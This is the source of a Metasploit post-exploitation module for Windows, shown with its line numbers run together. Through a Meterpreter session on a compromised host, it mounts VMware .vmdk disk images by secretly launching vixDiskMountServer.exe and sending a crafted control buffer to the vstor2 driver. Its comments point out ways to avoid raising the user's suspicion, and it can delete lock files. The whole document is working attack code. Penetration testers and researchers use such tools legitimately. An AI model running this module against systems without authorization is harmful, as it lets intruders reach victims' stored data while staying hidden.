Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/vmdk_mount.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::FileSystem8include Msf::Post::Windows::Registry910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Manage VMDK Mount Drive',15'Description' => %q{16This module mounts a vmdk file (Virtual Machine Disk) on a drive provided by the user by taking advantage17of the vstor2 device driver (VMware). First, it executes the binary vixDiskMountServer.exe to access the18device and then it sends certain control code via DeviceIoControl to mount it. Use the write mode with19extreme care. You should only open a disk file in writable mode if you know for sure that no snapshots20or clones are linked from the file.21},22'License' => MSF_LICENSE,23'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',24'References' => [25['URL', 'http://www.shelliscoming.com/2017/05/post-exploitation-mounting-vmdk-files.html']26],27'Platform' => ['win'],28'SessionTypes' => ['meterpreter'],29'Compat' => {30'Meterpreter' => {31'Commands' => %w[32stdapi_fs_delete_file33stdapi_fs_ls34stdapi_fs_stat35stdapi_railgun_api36stdapi_sys_process_execute37stdapi_sys_process_get_processes38stdapi_sys_process_getpid39stdapi_sys_process_kill40]41}42}43)44)4546register_options(47[48OptString.new('VMDK_PATH', [true, 'Full path to the .vmdk file']),49OptString.new('DRIVE', [true, 'Mount point (drive letter)', 'Z']),50OptBool.new('READ_MODE', [true, 'Open file in read-only mode', true]),51OptBool.new('DEL_LCK', [true, 'Delete .vmdk lock file', false]),52]53)54end5556def run57vol = datastore['DRIVE'][0].upcase58vmdk = datastore['VMDK_PATH']59if vol.count('EFGHIJKLMNOPQRSTUVWXYZ') == 060print_error('Wrong drive letter. Choose another one')61return62end6364drives = get_drives65if drives.include? vol66print_error("The following mount points already exists: #{drives}. Choose another one")67return68end6970# Using stat instead of file? to check if the file exists due to this https://github.com/rapid7/metasploit-framework/issues/820271begin72client.fs.file.stat(vmdk)73rescue StandardError74print_error("File #{vmdk} not found")75return76end7778vmware_path = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\vmplayer.exe', 'path')7980if vmware_path.nil?81print_error('VMware installation path not found.')82return83end8485print_status("VMware path: \"#{vmware_path}\"")8687vstor_device = find_vstor2_device88if vstor_device.nil?89return90end9192if !open_mountserver(vmware_path) || !mount_vmdk(vstor_device, vmdk, vol, datastore['READ_MODE'])93return94end9596# Just few seconds to mount the unit and create the lck file97sleep(5)9899if get_drives.include? vol100print_good("The drive #{vol}: seems to be ready")101if datastore['DEL_LCK']102delete_lck(vmdk)103end104else105print_error("The drive couldn't be mounted. Check if a .lck file is blocking the access to the vmdk file")106# Some snapshots could give some problems when are mount in write mode107if !datastore['READ_MODE']108print_status('Try to mount the drive in read only mode')109end110end111end112113# Delete the lck file generated after mounting the drive114def delete_lck(vmdk)115lck_dir = vmdk << '.lck'116begin117files = client.fs.dir.entries(lck_dir)118vprint_status("Directory lock: #{lck_dir}")119rescue Rex::Post::Meterpreter::RequestError120print_status('It was not found a lck directory')121return122end123124files.shift(2)125files.each do |f|126f_path = lck_dir + "\\#{f}"127next if !file?(f_path)128129fd = client.fs.file.open(f_path)130content = fd.read.to_s131fd.close132next unless content.include? 'vixDiskMountServer'133134begin135client.fs.file.rm(f_path)136print_status("Lock file #{f} deleted")137rescue ::Exception => e138print_error("Unable to remove file: #{e.message}")139end140end141end142143# Recover the device drive name created by vstor2-mntapi20-shared.sys144def find_vstor2_device145reg_services = 'HKLM\\SYSTEM\\ControlSet001\\Services\\'146devices = registry_enumkeys(reg_services)147vstor2_key = devices.grep(/^vstor2/)148if vstor2_key.none?149print_error("No vstor2 key found on #{reg_services}")150return151end152153device_path = registry_getvaldata(reg_services << vstor2_key[0], 'ImagePath')154155if device_path.nil?156print_error('No image path found for the vstor2 device')157return158end159160device_name = device_path.split('\\')[-1].split('.')[0]161print_status("Device driver name found: \\\\.\\#{device_name}")162device_name.insert(0, '\\\\.\\')163end164165# Mount the vmdk file by sending a magic control code via DeviceIoControl166def mount_vmdk(vstore, vmdk_file, vol, read_mode)167# DWORD value representing the drive letter168i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'.index(vol)169drive_dword = [(0x00000001 << i)].pack('V')170vprint_status("DWORD value for drive #{vol}: = #{drive_dword.inspect}")171172ret = session.railgun.kernel32.CreateFileW(vstore, 'GENERIC_WRITE|GENERIC_READ', 'FILE_SHARE_READ|FILE_SHARE_WRITE', nil, 'OPEN_EXISTING', 0, nil)173if ret['GetLastError'] != 0174print_error("Unable to open a handle to the #{vstore} device driver. GetLastError: #{ret['GetLastError']} ")175return false176end177# fd1, fd3 and fd5 are static values used from vixDiskMountApi.dll to build the input buffer178fd1 = "\x24\x01\x00\x00"179fd2 = "\x00\x00\x00\x00"180fd3 = "\xBA\xAB\x00\x00"181fd4 = "\x00\x00\x00\x00"182fd5 = "\x02\x00\x00\x00"183fd6 = "\x00\x00\x00\x00"184path = vmdk_file.ljust 260, "\x00"185if read_mode186fd7 = "\x01\x00\x00\x00"187else188fd7 = "\x00\x00\x00\x00"189end190191# The total length of the buffer should be 292192buffer = fd1 << fd2 << fd3 << fd4 << fd5 << fd6 << drive_dword << path << fd7193194error_code = ''195tries = 0196loop do197ioctl = client.railgun.kernel32.DeviceIoControl(ret['return'], 0x2A002C, buffer, 292, 16348, 16348, 4, nil)198error_code = ioctl['GetLastError']199vprint_status("GetlastError DeviceIoControl = #{error_code}")200tries += 1201break if tries == 3 || (error_code != 31 && error_code != 6)202end203204if error_code == 997 || error_code == 0205client.railgun.kernel32.CloseHandle(ret['return'])206return true207else208print_error("The vmdk file could't be mounted")209return false210end211end212213# Run the hidden vixDiskMountServer process needed to interact with the driver214def open_mountserver(path)215mount_bin = 'vixDiskMountServer.exe'216if !file?(path << mount_bin)217print_error("#{mount_bin} not found in \"#{path}\"")218return false219end220221# If the vixDiskMountServer process is created by VMware (i.e. when the mapping utility is used) it will not be222# possible to mount the file. In this case killing vixDiskMountServer manually from Meterpreter and re-running223# the script could be a solution (although this can raise suspicions to the user).224225# On the other hand, if vixDiskMountServer has been created by Meterpreter it would not be necessary to kill226# the process to run the script again and mount another drive except if you change the mode (write or read only).227# For this reason, to avoid this case, the process is relaunched automatically.228p = session.sys.process.each_process.find { |i| i['name'] == mount_bin }229230if p231if p['ppid'] != session.sys.process.getpid232print_error("An instance of #{mount_bin} is already running by another process")233return false234else235begin236print_status("Killing the #{mount_bin} instance")237session.sys.process.kill(p['pid'])238sleep(1)239rescue ::Rex::Post::Meterpreter::RequestError => e240print_error("The #{mount_bin} instance depending on Meterpreter could not be killed")241return false242end243end244end245246begin247proc = session.sys.process.execute(path, nil, { 'Hidden' => true })248sleep(1)249print_good("Process #{mount_bin} successfully spawned (Pid: #{proc.pid})")250rescue ::Rex::Post::Meterpreter::RequestError => e251print_error("Binary #{mount_bin} could could not be spawned : #{e}")252return false253end254255true256end257end258259260